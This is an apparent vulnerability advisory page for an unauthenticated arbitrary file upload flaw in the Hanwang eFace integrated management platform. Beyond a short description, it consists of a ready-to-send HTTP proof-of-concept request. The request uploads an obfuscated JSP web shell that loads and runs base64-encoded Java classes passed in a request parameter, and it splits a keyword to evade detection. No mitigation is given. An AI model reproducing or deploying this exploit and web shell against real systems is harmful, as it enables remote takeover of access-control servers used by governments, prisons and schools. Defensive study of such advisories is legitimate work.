汉王e脸通综合管理平台 /mobiMeetingApp/uploadMeetingFile.do 文件上传漏洞

2025-10-10 汉王e脸通 PoC Public

Description

汉王e脸通综合管理平台是汉王公司研发的一款基于生物识别技术的智慧园区管理软件，集成了考勤管理、门禁管理、访客管理、巡更管理、消费管理、车控管理、梯控管理、人事管理等多个模块，广泛应用于政府、企业、监狱、学校、智慧社区等多个领域，实现无接触式快速通行，提升管理效率和安全性。其管理平台的 mobiMeetingApp/uploadMeetingFile.do 接口存在任意文件上传漏洞。攻击者可在无需认证的情况下，通过向该接口上传恶意文件，实现任意文件上传，进而可能导致远程代码执行或服务器被控制，严重威胁系统安全。

PoC

POST /manage/mobiMeetingApp/uploadMeetingFile.do HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 1597
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj
Token: xxxxxxxxxxxxxxxxx

------WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Disposition: form-data; name="file"; filename="info.jsp"
Content-Type: image/jpeg

<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
    <jsp:declaration>
        class U extends ClassLoader {
            U(ClassLoader c) {
                super(c);
            }
            public Class GnDlLQpR(byte[] b) {
                return super.defineClass(b, 0, b.length);
            }
        }

        public byte[] KWPXeYqY(String str) throws Exception {
            try {
                Class HnktBjpK = Class.forName("sun.misc.BASE64Decoder");
                return (byte[]) HnktBjpK.getMethod("decodeBuffer", String.class).invoke(HnktBjpK.newInstance(), str);
            } catch (Exception e) {
                Class HnktBjpK = Class.forName("java.util.Base64");
                Object cUASwQYK = HnktBjpK.getMethod("getDecoder").invoke(null);
                return (byte[]) cUASwQYK.getClass().getMethod("decode", String.class).invoke(cUASwQYK, str);
            }
        }
        Thread cT = Thread.currentThread();
        ClassLoader BfDrVfLM = cT.getContextClassLoader();
    </jsp:declaration>

    <jsp:scriptlet>
        String boWqnWUy = requ<![CDATA[est]]>.getParameter("asdowi243");
        if (boWqnWUy != null) {
            Class IFwYZevI = new U(BfDrVfLM).GnDlLQpR(KWPXeYqY(boWqnWUy));
            IFwYZevI.newInstance().equals(pageContext);
        }
    </jsp:scriptlet>
</jsp:root>

------WebKitFormBoundaryFfJZ4PlAZBixjELj--

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates#Hanwang eFace Management Platform /mobiMeetingApp/uploadMeetingFile.do File Upload Vulnerability

References

Related Vulnerabilities